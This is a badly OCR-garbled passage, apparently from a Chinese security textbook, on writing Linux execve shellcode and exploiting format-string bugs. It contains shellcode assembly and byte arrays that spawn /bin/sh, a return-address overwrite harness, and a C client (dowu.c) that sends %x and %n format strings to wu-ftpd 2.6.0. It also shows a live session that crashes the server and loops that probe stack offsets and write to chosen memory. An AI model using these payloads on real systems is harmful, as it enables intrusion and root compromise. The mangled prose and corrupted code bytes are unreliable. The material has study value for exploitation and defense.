shellcode (B 14w PRI HIBhAHEH) .

gee  -static -o spawnshell spawnshell.c

BT R RO AT ISP, P HRIRBRAERS . 0 T WA 20, RAIX objdumphith
HETEL BN, RERAENES.

08048140 <main>:

80481d0: 55 push  %ebp

80481d1: 89 e5 mov  %esp,%ebp
80481d3: 83 ec 08 sub  $0x8,%esp
80481d6: 83 ed £0 and  $OXEEEEEE£O0,%esp
80481d9: b8 00 00 00 00 mov  $0x0,%eax
80481de: 29 c4 sub  %eax,%esp

80481e0: c7 45 £8 B8 of 08 08  movl  $0x80Bef88, OXfEfffff8(%ebp)
80481le7: c7 45 fc 00 00 00 00  movl  $0x0,0xfEEEE£fc(¥ebp)

8048lee: 83 ec 04 sub  $0x4,%esp

80481£1: 6a 00 push  $0x0

80481£3: 84 45 £8 lea  OxEEEEFFEB(%ebp),%eax
80481£6: 50 push  feax

80481£7: £f 75 £8 pushl OxEEEFFE£8 (Sebp)
80481fa: e8 £1 57 00 00 call  804d9£0 <_execve>
80481f£: 83 c4 10 add  $0x10, %esp

8048202: c9 leave

8048203: c3 ret

080449£0 <__execves:

8044d9£0: S5 push  %ebp

mov  $0x0,%eax

mov  %esp,%ebp

test  %eax,%eax

push  %edi

push  %ebx

mov  Ox8(%ebp) , ¥edi

je 804da06 <__execve+0x16>
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804da01:
804da06:
804da09:
804da0c:
804da0d:
804da0f :
804dald:
804dal6:
804dal7:
804dalc:
804dale:
804da20:
804da22;:
804da23:
804da24:
804da25:
804da26:
804da28:
804da2d:
804da2f:
804da3d:
804da36:
804da37:

M ETTT A, execve R4 A7E P Mshellcode)s, A% —MAMHELH HE (RAERH
HEEM), BEIXL IR fishellcode T AL LR I6]. [Hitk, RATRESLSH — FexecveR
SRR, NG FREETRMATH. execvellimanTMRAEN LI AL ELME

bb
eb
90
90

fa
4a
55

b
Ob
80

00
o3
06
as

of

££
ea

25 fb £7

10

00 00 00

£0 £f £

ab £f £f

£f £f ££

YW BRI

int execve(const char *filename, char *const argv(], char *const envp(]);

Q execve () fifFfilename (FiEh) IEMFRIF, £filename s FUR LT BRSO ) —Fb:
ATHAT I RIS, B M 4TEL “#1 interpreter [arg)” JIAARIBIASCH. WRR
JE—H, interpreter WAUR T MATHRREB N JER 104, TN RMA AL, execve ()

R WAEA.

0 argvREFHR M4, HRMEBEY; envoth REFFHEA, BMBHIK Hkey=value,

HH i

larg] £il

call

3mp.
nop
nop

0 <_init-0x80480b4>
Oxc (%ebp) , Secx

0x10 (%ebp) , Bedx

%ebx.

%edi, $ebx

$0xb, eax

$0x80

febx

$OXEEEE£000, Beax

$eax, $ebx

804da26 <__execve+0x36>
tebx, Seax

$ebx

%edi

%ebx
80485fc <__errno_location>
$ebx, (¥eax)

SOXEEFEFLEE, Bebx

804da20 <__execve+0x30>

FeAl A, argulenvp#f A4 i 4F 45K

Bl execvelfimanF A&, A3 SHRAT LI Hexecve T« Texit O RAMAHMBI T -
ERAFL B A Linnx RE WA LIRS Y GREN PRI RAFIER). execve () MmanT
FRUXINBRAARIRE, B MBRRIBARRSIITIIF N S iR B2 HR—k
SRR A IR, X R ERITHFIFS (/bin/sh); WS EOLIR R AT

fdfet, FEXENAE, BRI B ALK AR .

M EAE ARG EBTH . FARF TN R RO TH S,




42 #3% shellcod

PiTexecve () REHHTREMEMAN /238 INFAEBR T R FexecvelREMAE (+
EHILIEC AN floxob), HAIA BT RERKMASH. —AUSGENRAERRE
TS, FATCAISE A BT RE BRI T . AR EmanFHHORE, Nk el LB
H LR I GR B A

Mmain () METHAFLTF MG, FEE /pin/shfHLE T HIFIAFE, BFEEHENexecve
R K2 B BB 7 28

80481e0: movl $0x808ef88, OxEL£££££8 (Sebp)

kK, BFNEESHENTNAEERT, MEREIHRFES HEREEMN
A

80481e7: movl $0x0, OxEEEE£££c(Bebp)

BEZEABET, UEEEHexecve i, B—MEAMBSERZH:

80481f1: push $0x0

BTREAESHBA MM (happy (1), FFELXAMbIT SR, RFHEAXH
Fy B AR

80481£3: lea  OxEEEEEFEB(%ebp),%eax
80481£6: push  %eax

JJAE /bin/ shFRF ML FE AR :

B80481£f7: pushl OxfEFEffff8(%ebp)

M execveri §(:

. 80481fa: call 804d9£f0 <execve>

execvelR MK R B BANCHI A A7 2%, ARJGIAT 0T TR0 S 28X ARBIEAT T 004K,
BrCA4 R TR, £ R BUCHER $OFRMIC AT S 2 & A StAf . BRI SR BB R4,
A F B0

B4 HE MG /bin/sh T # (ML AR\ EBX:

804d9fc: mov  Ox8(%ebp),%edi
804da0d: mov  %edi,s%ebx

TR, BB LR\ ECK:

804da06: mov Oxc (%ebp) , Becx

WA bR A EDX:

804da09: mov 0x10 (%ebp) , $edx

execveX] N A R 4 5 1182 BB - A #F 772 max:

804da0f: mov $0xb, $eax

HAER M H O . A int 0x80374, VIHRBINEMR, HATREA:
804dald: int $0x80

Wi B ARG, BAEIRNIZ IR M R execve REIA MR IMELR AN T, JFAR



34 RA shell 43

MBLRIGT —ACET, LRI AXLeRa® deT. Mexit Bl T #RE,
BRI, ERHERRIA E .

R XARB AT, VFJZ;{f#ﬁ@ﬁﬁ#ki‘&ﬁ’f‘lﬂﬁ’]shclkode, RERRRALE. R
R 484 7 % B shellcode, #iXk% T % 5 R T2 A #yshellcode.

BRI EHILT . R EEARIEDKE A AT, /bin/sh T RFH ML LIS
. T Hexit () shelloodell-F EA G MBTTRMIXIAL, L%, KA 53
RN, B ORI 5,

RAMARFL, 7Eshelloode TR AT LA FIBERTIMAL . BEATLHEHL 3% b shellcodefE R
Limuxi SR IR 2 i S B RIS Hshellcode s S, TR RAEGUALITANE
B I, BRIV, MBS, (KB GIERIAT . B
ik

feshellcode B4 AR ML B 2405, SR FT BLIE shellcode P 474 ) FF 44 He A 5
shellcodeff) T3 TEAMBIFIH G, WERE AR RO, HOEREIS.

ST AR, i SLshellcodebl - SBER I ST, BERHT BT
hellcode/F #SIMFIHA, PLEKBREIAAR4 o DLRAIRI B4k, ST, BERAEMT
42 IR IR BT AR ST A, AR FURAE AR HaSE )
A BB A 25, WA, SR BAITR . RIS SRR L,
TRV LA 4

BAVRLL R T W AT shellcode, FSt, 7EBEEZ/E, A HILANI Mshellcode, TiiXHF
AT S shellcode, KU MBI ERFEBLE 2 I3 4fi4Jhrop EST, XA
$54H5 B E B AT S HONEST. T, BT URSBESTRORE A SRR ) 5631 Mshellcode
RS, LRI B DR A LR

jmp short GotoCall
shellcode:
pop esi
<shellcode meat>
GotoCall:
call shellcode
pb '/bin/sh"

MEER BBt DB (define byte) HAR i, ERAENFA A FRF R R EAEREM.
TR A TR BARES 1
(1) %34 PkFlcotocall, GotocalliLHIHhATcALLIES .



4 H3F

(2) cALLIFA I FRFH (/bin/sh) B MFIHIMALEAR.

(3) caLLi4- i Hishellcode.

(4) shellcodef) 35— H64 ik poP BST, KAIELFHOFHFH (/bin/sh) HALEIHBAEST.

(5) Eik, BUATBURARR AT shellcode T

BEAR ML AR T, AT LSS A D4 RIS Bshellcode, #RJF A EIE KT 4454 B b 10,
I3 2B R LUK Hshellcode. 7E4R TR, BHEAFIHBIRMRE LA GXEE
9B), WF:

' /bin/shJAAAAKKKK "

XL LT A AR ? RATRHC RGBT Z R3S H0P 24 G A ECX.
EDX) GRAFAEIXSE AR L. BN FH 38— D IR AE ERST, FTLL, X FE#m
XA ST HIBI A AE AR B, A S MO ENEATFR AL . 55, aTRLE “EHIBl&
B Jivk, MM R IEX R . BRI,

(1) Alxor EAX,EAXMIZER (%) HiFEax.

(2) $EALSLHIFIE4R /bin/ shiY F VLB R L 1L /bin/shEfF . i24E, WAxor EAX,EAX
FRAIEEARE NS, FTUlALN . A TIEALLHIREHHLLE, BAB M /pin/shifFF kBT
AL RIEE . (PR D

(3) ABIRFFAEEST BK TR B IF kg bk, 0 5% FeBx.

(4) X B LR TRFRIT LML) SHBlanan i ffF. iXikexecve R
SR KBTI SR SIS RER . WEEYGHTIEE (RBED.

(5) FHTE 3 ) i 5 R A AR A AE A 25 48 8 81 B e 7 401 45 o

(6) Meit, AEHGERMSMBFEAXT, Ft, RiCexecveMRLEMMM (oxon) K
FlavL.

(7) HEFFFH RN EBX

(8) EARAFAEARRR AL AT LI Al (MR 45 BB i RED) A ECX.

(9) FEARAEAERRRK AT Rl (MR EAEDx.

(10) $4Tint 0x80.

R P R shellcode ) 5 2% R 4 ARG A R R AR T THTAXFY

Section Ltext
global _start
_start:
jmp short GotoCall
shellcode:

pop esi
xox eax, eax
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mov byte fesi + 71, al
lea ebx, [esi]
mov long lesi + 8], ebx
mov long fesi + 121, eax
mov byte al, 0x0b
mov. ebx, esi
lea ecx, lesi + 8]
lea edx, [esi + 12]
int 0x80
GotoCall:
call shellcode
db */bin/ShIARAAKKKK
G I RIC G B E R A

[root@0day linux]# nasm -f elf execve2.asm
[root@0day linux]# 1d -o execve2 execve2.o
[root@0day linux]# objdump -d execve2
execve2: file format elf32-i386

Disassembly of section .text:

08048080 <_start>:

8048080 eb la jmp  804809c <GotoCall>
08048082 <shellcode>:

8048082 se pop  %esi

8048083 : 31 c0 xor  teax,%eax
8048085 88 46 07 mov  %al,0x7(%esi)
8048088 8d le lea (%esi), %ebx
804808a: 89 5e 08 mov  %ebx,0x8(%esi)
804808d: 89 46 0c mov  %eax,Oxc(%esi)
8048090 b0 Ob mov  $0xb,%al
8048092: 89 £3 mov  %esi,%ebx
8048094 : 84 4e 08 lea  0x8(%esi),%ecx
8048097 8d 56 Oc lea  Oxc(%esi),%edx
804809a: cd 80 int  $0x80

0804809c <GotoCall>:

804809c: e8 el ff ff ff call 8048082 <shellcode>
80480al: 2f das

80480a2: 62 69 6e bound %ebp, Ox6e ($ecx)
80480a5: 2f das

80480a6: 73 68 jae 8048110 <GotoCall+0x74>
80480a8: 4a dec  ®edx

80480a9: a1 inc  %ecx

80480aa: a1 inc  %ecx

80480ab: 41 inc  secx
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80480ac: a1 inc  %ecx
80480ad: ap dec  %ebx
80480ae: ab dec  %ebx
80480af: 4 dec  %ebx
80480b0: b dec  ebx

[root@0day linux]#
VERG ERBRAER T BER A S, R AR . JBF 5B 4 Rshellcode, I
ERACEF.

char shellcode[] =
"\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46"
"\x0c\xb0\x0b\x89\x£3\x8d\x4e\x08\x8d\x56\x0c\xcd\xB0\xeB\xel"
AXEEAXEFAXEE\X2E\x62\x69 \x6e\x2£\x73\x68\xda\x41\x41\x41\x41"
"\xdb\x4b\x4b\x4b" ;

int main()
{
int *ret;

ret = (int *)&ret + 2;
(*ret) = (int)shellcode;

}

R E AT AL,

(root@0day linux]# goc execve2.c -o execve?

[root@0day linuxl# ./execve2

sh-2.05b#

KMV T ITH, STRB—AET. TN fshellcode T o WIRARR EHIANE
ARAHRE, T LG A0 LA M, 2 F s

char shellcode[] = .
"\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89 \x5e\x08\xBI\x46"
*\x0C\xb0\x0b\x89\x£3\xBA\x4€\X08\xBA\x56\x0c\xCd \xBO\xeB\xe1 "
TAXEFAXEFAXEE\X2E\X62\x69 \x6e\X2F\x73\x68" ;

FEAPWEEAN, B2 US4 15 R L4 shellcodeft) R ELTS .

35 /g
RATO L% 3 T B H h Linux RY i S1A32 shellcode . 4 45 Ho Aty & MR R %5
shellcodeftf, T IABHIXHIrik, RAFHEHEATHEAR—HE, T HELSRIAR A7 8T 250 .
Tshellcodeltt, B& 7 HREE A AEWIEITS, ERRRMANEM KA. 44 Mshellcodef ,
CRAIRLE, BIXHE, RAVAHHLHEEANBTLNNHEE X, ARG TR, &
T8 YL BK 7 R 40 S T AT K shellcode o JKﬁsﬁﬁfaﬁ'ﬁﬁ:ﬁﬁ!ﬂiiﬁﬁﬁﬁmﬁﬁ%ﬁ'&.



$aE
fEREEE
BRI SRAERET X, B T ERKEM, AV Linux & RN 4 u
N ALBRR. IR R R LR RER, ECES BRE RS TESH
RS B RICHES %S MR FA T A i I R, BrOUE T i CoR iR B8 B R

%, AL, LT ERE RS LKA
4 A B IR AEAE AR A SR 4.6 o

4.1 fiEg&R

h TEMATRNE, REEERCRINES . IARICRHEMH. KB ELinux RE LA R
T, Aot AKHKR.

42 framtEXLE

BT WAL, BRI A A B R R iR KB B P LR U th A
EHHFEATET . B, TOEERFER IS SREE K ER . TR HIXUR
PR RBRAEKAE R, 0 F

double AmountInSterling;

A XA U £30432.36 (BEBY) . RATAREUFAAQT SRR E: SBRIEHRS £,
SRR NGO RIRG NEUR R PIL. R AR SR, RITERAAS
SMEE— BRI RALER, T L RIEIX 2 2 7, IXBUARES th T fE SUE T XORUR R R RSB 01 7
3, MREEIXFMN, ARG AR I o FE BT AR U A AR TR
o, R B O T RIS i, RATAT LA il prine e 8, EIEFRAR AR
HEHIH (stdout).

printf( "£%.2f\n", AmountInSterling );

BB BRGNS R SRR N RS, fEE RO IX
ANFREF . AT R ORI, RATE AN eE. BIMETT LUK AR MR, B
TR PSE RSB A TR G R R . AT B, RATVDRI SRR R s N HOR B IR B AL,
5L B AP B HEAOR A SR o
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SERKAG T, ARNEAB T B T HR R . TEXAMFAEEE AR
ASCIF 4 H ASCIIfE .

#include <stdlib.h>
#include <stdio.h>

int main( int arge, char *argvIl )
{
int c;

printf( "Decimal Hex Character\n” );
printf( "=

for( c = 0x20; ¢ < 256; c++ )
i
switch( ¢ )

case Ox0a:
case 0x0b:
case 0x0Oc:
case 0x0d:
case Ox1b:
printf( * $03d %02x \n*, c, ¢ );

printf( * $03d %02x %c\n*, ¢, ¢, ¢ );
break;

return 1;

)
BT

Decimal Hex Character

032
033
034
035
036
037
038
039
040
041
042
043
044

#
$
%
&
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045 28 -
046 2e

WA, ERAMIT R, RAOTAIFARMERRRASCUEY, #H T RRMERXFRARE
HISEBERTE, R HR AR E R B

43 AR LERR

Hiprint £ RIURBAOH AL B BOE R NBIRN, RHTHH IS X & B A,
printfRIRBALLE:

printf

fprintf

sprintf

snprintf
vEprintf
vprintf
vsprintf
vsnprintf

B T pa Mh, SLAASECXUM M ARG B Bt T REFPZE 6 UK, 1 Windows b #wprint £
M. BUEH AT REIRR W S (AR GE A28 RE), SXAEROTE, B ERBRA AR
AN, B, RERLE LEEER XS Y, WIS EUE R R AR
A,

WRSCTE, DAL A YA Borint Sl ¥, 1F ibprinc ERRBTE A AL
BHUN IR G, DR ATt . Bldn, FREIARDR & F 4N UL 2607
Jite

printf("The square root of 2 is: %$2.4£\n", sqrt( 2.0 ) );

AR, MRBRAIFLHGE AR RPN, LU0, 6l T
A, B S4TH S %M Hprinte.

#include <stdio.h>

#include <stdlib.h>

int main( int argc, char *argv(] )
if( arge 1= 2 )
{
printf (*Error - supply a format string please\n®);
return 1;

)

printf( argv(1) );
printf( "\n" );

return 0;
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T PR A

cc fmt.c -o fmt
JHAF I RBAT

/fmE "R BX BX ¥X"
AR TFERF R AW T # BRI Hprince:

printf( "$x x ®x $x* );

LHEIEER N EEE R RO TS, B RIMN RS F RS
ANTAE R FTBH Eprint FFRATRET, TRRMHOTAZ:

4015c98c 4001526c bEFFFIA4 DEFFf8e8

printf O NFIMH AT RK T AN SHFEH F9 b, XEHERK AR,

B LEXRT AR AR, SR, Ko HInT HEF TR LR . X Rk
AWE? RHA SR BUX AL R EBURE B, A A . AT, BTHREE, FE
B, B, WRART DX ARAE B A ks AT -

L /fmt

R LB R

L /fme

ARARAARRAAAAAAAARAAG001526chf £££7d880483218049530804962cbE£££80840030280

2bEEEES £ 3e26a0b££££8404015abc040014d2
82804830008048321 £££82c400152cc2
bEEE£9T2bEFEEITBODES 1bffffac3bffffae3bi £E£X
£E£] 85bf: 3bEEE£A71DEEEEAI
2bEEE 3
4bffffeldbifffed £Efebl abffff ££
SbEfffef £E£1 103£ebfbf£610001164380
4803442056 38: 367464

664141414141414141414141414141414125414141257825782578257825782578257825
825782578257825782578257825782578257825782578257825782578

N L AT DUEE, BT AR ERE TR B SR, 10 H, e R EaR,
BATRATNINIIN B FARF - L 7REB &R
41414141414141

IXANGE B IR T B0k} (RAF AR HIEN B2 o, BN MR 3L 1 AR B RAFAERR |,
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MR E R MR TN, ERbmt, RIREAKFER S PN FRBAE %
F A Rprine tRR M FRACEM AL SRR DR Bt . TRATH BB T LR 3R
FROR B AR .

BRI Z ST REFI R E U AR ? $RIGE T B L5 B AT

man sprintf

BRIEFEHFSHIMERIF: . 1s ov us JHTEH, e £. 9. JHFEAK ST
TR EBH LA AR, ERBEER, CORREMBNKTSHT.

s——RASYBMA RPN FH RN, HUFHH BB SH

n——RANSEYH LR BRIEL (REBEYER, Flflishort), EXNMSHLAHM
BT R SR B ARAE BIX AN B 3R P M

Wtk GRAEM LS R en, WAL AT TP RR RS H S BIRA S EE
BRLE, Bt

/fmt ",

ER A TSRS, FEET AP STulinit ~c unlinted,

FEEE T HRE RS, ERAMRAEHE SRR GERA), BARETHSH
. A F R XM print XA A, IR Blenkk RIS MBS R A WL, £
BT PR R S Bk KR RITA IR S A A B B8, MiEs
HFRFIIAT o X BUA AT REAT SRR, ARATRE ~BHEAR KB, RERER, FEREWE
VAR
HH B — T RITRFIRASCIGIF . BATAT LUHDREBERS SRR Rt Rt B0,
RARS SO T, A ATTAHSER050x, FRH - ANRBIRIERM NS, WRFROHS
RESOA, HLEFRATHO.
M EERFI A AL, FEM—F4141414151F, LA Slprine £@BATUMBA
HFIFR BN B M. X, % BIRATAT LR snite XAFE B 0 3UE 5 N5
ot dik o
SR T SUSAR, BT LR R A B R AT AE RO ES
O RAVMEFHIZH, I 0T U B0 MBS A WA R R
O WA AR AU RATAUERIOKCHE CHRTTLUN2SSANFER) HiFeMt. Filt, WLUHE
FOEREBAFY .

O WA LG WARETE, MRS AR I RAB, SRR, Bl E AT LA XA
HERE WAL, R, MR BB WAE AL, ATRES 8, BNECIE
OORLIERF . AT, R AT LATEE AT I ik 5 A28, AR RRAT T ik LRI A () R
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O HRBE, BATAT USSR SR M (R AR EI ML . SIS AR, Crr
viable$), Pk, BfTRy LUR AR GHEIRAT M F 4 S AR .

KT BB, AU AR F IR .

Q EFIAUUZHUNIX ..

O TR A B LIAR A 2R

O ARG LIRS BTl R AR .

Q FHARACR 247 T ¥ o LR A

Van Dyke CShell SSH Gateway for Windows# X4k 42 IR0 2 20, HARIFHIEE T Ll -
JLrie

Van Dyke CShell SSH Gateway for Windows (A E4L4: fo ¥ F 2 BUTAEBARFD B — A k™
TR AL, SBOT LA BB 257 0V . ZEXFNR R, Bl & T
RIHIRFTH P 2B MW, dAT ARt R AR R %

MIMEL, printt RFIEHIEMAEAEH P RENBFORRLEN, BHSRAR R
HER. SR R RO AT RSB S BT, RGEHH 2D R B>
WBH TIKAT T il 5 B B % B AV i AT AT AR

44 FABXLRRE

HilHprint e RIUBBRS, RHANSYRGBAR L. WHSS U, MREBHSEA
2, print R SCKH IR EBERREBO SR

FEBWOUT AR IRAZAEAR £, P Mprine el TIRS R AF MIRHE, 7T BUIEH
A HA S BRI S prine FERH

FERTEEBITF b, RATEOR TR KR 8RR L. EIEERER, &
A i) B BT P B 4 R e AT URSCRWER), TN T LU & R BATAE AR .
S RAFEA IS ANATBIO B, 0 RAN R A N T R R AT e, B
T AR sl A S BOX AT AE W AE R 0RO . B, MU TR E, H
PRAFENTE R, IO TT LRI s AP S A SR L IR IXA BF5. SRRMNLEE, 5%
HSOVE I 2 T W B L RE. FTID (UID) MAID (GID) R /REFM ik H 47,
D01 R AR I S5 (R R MO S YRR B U LRI, R R AR I R A AR R
DA TN BOX AT LW TR S . NS TIRBE, TRAITE vk 1% 3Rk 2B )
;.

EEYET —RHEERI®, A0 SRR F T o 3 DA% [ 24 FTPAR ST (WRA<2.6.0)
Ja¥l, AEL M BRI, XA LT MR B R . TR AR,
W] LABY i CERTI % A i

® i 1ixt
@ www.cert.org/advisories/CA-2000-13 html .
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MIEASEBRAFAEMIBIF o, BATAT LRI S8 KT E B, S A T I B SR AT
B,
O SRR EFTPR S FEFFIF IR, AT DUR A 5 0 F IR 2R WK FTP R %

.
0 {EX RFR IR TR IR (TUUREAK SR, BELiRR T SMRs
SEAETE (I«

Q i AR EEAE LS, FRTUSREAA—NERE .
Q FRATAT LA SR A BRI R, R T DR MR S B R AT 1 B R
BEFRAER, HREH—A¥Agee. gdbMIAL TR MLinuxhLES, /5 Map:/fip.wu-
fipd.org/pub/wu-fipd-attic/wu-fipd-2.6.0.tar.gz F wu-fipd 2.6.0.

KT SRR, BIRHwu-fipd-2.6.0.tar gz asc Bowu-fipd-2.6.0.tar. gz A B WAL, 4R,
RERH R R

FEUF, BT DURIE ORISR MR Bwu-fipd T (ERENZIIE, £ H SRS L%
e, FTRMMMA BTUEES DA FTFFT BT, AL SRR V7 i ki
Bl i, RAIHERBUE LM FERES A S, FHluERROHRRHENE, RER
BB K BRBEATIE MR P I RS ks KA B RA A AFIR T, BAEARE, Fit
LML
441 (ERRSESER

R RS ki, TR VRRESEA ISR B, WUR AR RS B
BAMRNTIRS, 4R eT B ABEDNS IR BB, RIS AR IF AT UL R, B AR AT B
AL

X B AR GUR A F TP 5 R AF (112.6. 0804 CRISE AREAS) M, X AMRA fwu-fipd 64k
Hsite exectir ML BT AAIENAL M RM BRI, S6H FRMETELR:

[root@attacker]# telnet victim 21

Trying 10.1.1.1...

Connected to victim (10.1.1.1).

Escape character is '~]'.

220 victim FTP server (Version wu-2.6.0(2) Wed Apr 30 16:08:29 BST 2003) ready.

user anonymous

331 Guest login ok, send your complete e-mail address as password.

335 user anomymovs 1oaged. in.

site exec %x ¥x ®x %x ¥x %x ¥x ¥x

200-8 8 bfffcacc 0 14 0 14 0

200 (end of '%x %x %x ®x %x %x %x ®x')

site index %x %x %x %x %x %x %x %x

200-index 9 9 bfffcacc 0 14 0 14 0

200 (end of ‘'index %x %x %x ¥x %x ¥x ¥x %x')

quit
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221-You have transferred 0 bytes in 0 files.

221-Total traffic for this session was 448 bytes in 0 transfers.

221-Thank you for using the FTP service on vulcan.ngssoftware.com.

221 Goodbye.

Connection closed by foreign host.

[root@attacker] #

RAOVFEEF], Hffsite execBl CEHMBM) site indexdyd EiFmey, RATATLUAE
SRR J7 R R AR

WEMTF L

site index %n%n%$n%n
wu-fipd i EHE S 05 Bithhikoxs. 0x8. OxbfffcaccMox0E, EEHWILT, Hilkoxsfoxo
RATE, FEikfMeRsi@s Bk, Hid— T FHXfHL:

site index ¥n%¥n%ntn

Connection closed by foreign host.
JRfELR T, TEERABHNGE, REANEARTEsite indexfy & WAFZER AL H HE,
IR TT BB K #E 4 M IDS R A2 € . EAEGA BRI, SnortfIBRAFN H Ak 2]

site execo

442 (ERME
EXBAMAT mT Mk EIREE B BAE A wu-fipd AT —BUEH BRI, HBEXK
RAFUT AL X, EEHwu-fipd 2.6.00981F, A EREF AT AL 1 IRIF M A FE R

AR,
X%, AT HElsite indexfr &AM RILS, RAMHE T — M hdowu. c

[iaz0e
#include <stdio.h> #include <string.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <netdb.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <signal.h>
#include <errno.h>

int connect_to_server (char*host) {
struct hostent *hp;
struct sockaddr_in cl;
int sock;
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NULL | | *host== (char) 0) {
fprintf(stderr, "Invalid hostname\n");

exit(1);

if((cl.sin_addr.s_addr=inet_addr (host))=
«

£ (np=gethostbyname (host)
€

fprintf (stderr, "Cannot resolve $s\n*,host);
exit(1);

mencpy ( (char*) &cl.sin_addr, (char*)hp-
>h_addr, sizeof (cl.sin_addr));

)

if ((sock=socket (PF_INET, SOCK_STREAM, TPPROTO_TCP) ) ==-1)
(

fprintf (stderr, "Error creating socket: $s\n*,strerror(errno));
5 exit(1);

cl.sin_family=PF_INET;

cl.sin_port=htons(21);

if (connect (sock, (struct sockaddr*)&cl,sizeof (c1))==-1)
{

fprint# (stderr, "Cannot connect to %s: ¥s\n",host,strerror(errno));

return sock;

int receive_from_server( int s, int print )

int retval;
char buff[ 1024 * 64];

memset ( buff, 0, 1024 * 64 );
retval = recv( s, buff, (1024 * 63), 0 );
if( retval > 0 )
§
if( print )
printf( *¥s", buff );
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else

if( print)
printf( "Nothing to recieve\n"
return 0;

return 1;

int ftp_send( int s, char *psz )

send( s, psz, strlen( psz ), 0 );
return 1;

int syntax()

{
printf("Use\ndo_wu <host> <format string>\n"
return 1;

int main( int argc, char *argv(] )
¢
int 8;
char buff[ 1024 * 64 ];
char tmp[ 4096 1;

if( arge

a)
return syntax();

s = connect_to_server( argv(l] );

if( s <=0)
_exit( 1 );

receive_from server( s, 0 );
ftp_send( s, "user anonymous\n® ):
receive_from_server( s, 0 );

ftp_send( s, "pass foo@example.com\n" );

receive_from server( s, 0 );

if( atoi( argv(3] ) =
(
printf("Press a key to send the string...\n");



44 FAHXALERE 5T

getc( stdin );

strcat( buff, *site index " };
sprintf( tmp, "%.4000s\n*, argv(2] );
strcat( buff, tmp );

ftp_send( s, buff );
receive_from_server( s, 1 );
shutdown( s, SHUT_RDWR };

return 1;
}

GER: SEAIRIA A RERAAXA R RBXMEFIETE.

I A (AR R TF 4

./dowu localhost "$x %x $x %x $x ¥x $x %X $x Bx x $x Bx Bx ¥x Wx X" O

TEPROLAR L300 H 0 M08 2R T TR

00-index 12 12 bfffca9c 0 14 0 14 0 8088bc0 0 0 0 0 0 0 0 0O

HREMANIXAZG? YRTR ! EARFEONEE b, 7O 4 A 405 R
VER LK, AR LS 5 =M Roffcadc.

W—F FHEX &4

./dowu localhost "$3\$x" 0

REZLAH T A

200-index bfffcadc

A RATT L HRHEE VB SN BHOER I E N A, XM R RS, HERER
RV FlespZ HTHIHHE .

FIRRAMHARR LA 4:

for(( i = 1; i < 1000; i++)); do echo -n *$i * && ./dowu localhost "#$i\$x* 0; done

XAy SRR T H 1 1000 FHARAR Y, P IELBOR AT RERRAVBIGEA

o T W7 Ak 4 o SR A A ) TR ARG () R R R A, T LU e s AR
Hax:

for(( i = 1; i < 1000; i++)); do echo -n *$i * && ./dowu localhost "$5i\$s* 0; done

WF TR A st ARFMAR EIRIRTRE R, BEE, TTIUNAFERE AR 7R . A
TIEBXABM, WEARESHRZNFHRER LORAEMLE. T& TURTFAMNS:

for(( i = 1; i < 1000; i++)); do echo -n "$i " && ./dowu localhost "AAA

AAAAAAAAAAAAARSI\$x" 0; done | grep 4141
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N B I (FERXME RIS HTFL) ATk Bla1414101 00 B . FERIOHLE ER272,
{EARI AT HEAR —HE. -

M. BRFFHOIIL, BESER2THEL4:

./dowu localhost "BBBA%272\$x" O
[CEN

200-index BBBA41424242

LR BRAE2724 R F AP I3k4B . B, RTBUATXA Vi ik BB W AF AR AL
Hifi
I ANBRA IS T SEAE AR R TP A<

for(( i =1; i < 1000; i++)); do echo -n *$i * &k ./dowu localhost "¥$i\$s* 0; done

11874k, 3%

200-index BBBA%s FTP server (%s) ready.

BRI, T A soch 28 2 2405 8 ) S
./dowu localhost *BEBARIBT\Sx* 0
200-index BBBABO64ASS

A BAR A FH T 1)y 4-4E0x08064a5 5 KL T 75 e il K

./dowu localhost $'\x55\x4d\x06\x08%272¢s' 0

200-index U%s FTP server (%s) ready.

XEERE—TF, POI386RFUALEES M) F /¥ Rlittle-endian, FTLLLAUE “Hubk” H1F4T
FERJF

TR 9 PO A R AT AAE , S0 Set 7 77% E8 O F S A5 W 7 St ik DA R AR LB S 8 ), T BA
AP R R AR AR . B, AT BRI S A SRR, SEEPRBE
23 6] O o

TRIRBC G (Windows) RXHFEES YT, MAMLLERRLH FHRAR B L
FRORSRAE, TRATT—HETT LAV 48 5 L 1) 20

[ B ARRERE AT R BRI R KN, FTBAS N MR, AT RSt i) i, {2
SERATRHIITTAEYE. PenBE, 248 Ak L0t R R R BIIA AR B HON, ARW AR
MR DU RS RO R, WeeRF CERZIME. SBIIT REMENSHO. R, X
AFERREE, P LAk AR, REEATRERRTERATIRAL, I FBHHR. BRI 5,
AIRHEE T REL B “B0RR” HHR, PULHReT iEf 2 uUM s . e VR BR BOTR RS, I
i 88 4 0B o

AYMET LA BER, ~ ST AR R, TR R A R,
Bt

printf(*§*a", 10, 123);
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R ERH0123, SRR I0NFR . HHF G IE RV F R0
gerrrerare 10a

ERRBTRIONTAF . SCRRARITIT LIS s K4BEIS AL B 1BAY 3.
4.5 IEHRIEFRIT

ﬂmﬁifﬁ%ﬁ%?ﬁiﬁﬁu%ﬂﬁﬁfﬁ%w#éfﬂlﬁmﬁ%ﬁmﬁﬁ-ﬂE&ﬂ’]WBEﬂFR
BCRIEA BATG F ARSI MRATE DL AR, N B R
F (4B) BEIREM A, fEwu-tpdtIBI TR, RATEABEIESS AR . RENE
[T sRAAAI M, TSR RERERIBATA, BBMREAL I FF AT

Wb 0BRSS EENAR. AEH, iR BwefpdBl TR REA2726? RATE
X ERAE SRR S BN IR AL, R R 4.

./dowu localhost $'\x41\x41\x41\x41%272%n"' 1

01 R gdb 2 2% wu-ftpd (9 04T 15 58, R 2 7 B 7 1 76 1R 95 3 0x0000000a 5 A i
0x41414141.

KRB, SERROOTIEBRIRIT £ R AL gdblAAT X o IR I0gdbTT REA S IR T
R, P, RfEdowu.c A —METRABRAVE RN BRE AT AT, RGNS
TTHEABRAEL, down ol BB RINMBE, HBALFEALIEHRLE REIRS
M KRk, ERART, TRUEIR I TR, ¥ edb s MR X B K

WAT:

./dowu localhost §'\x41\x41\xd1\x41¥272¢n' 1
VRRIE R AT P4t Press a key to send the stringfBERHABHRIMEA. Ko, 7T
CASEYMR 3153 — Mt 6 4R iR

ps -aux | grep ftp

VKA B0 B I 2R T T A 2461
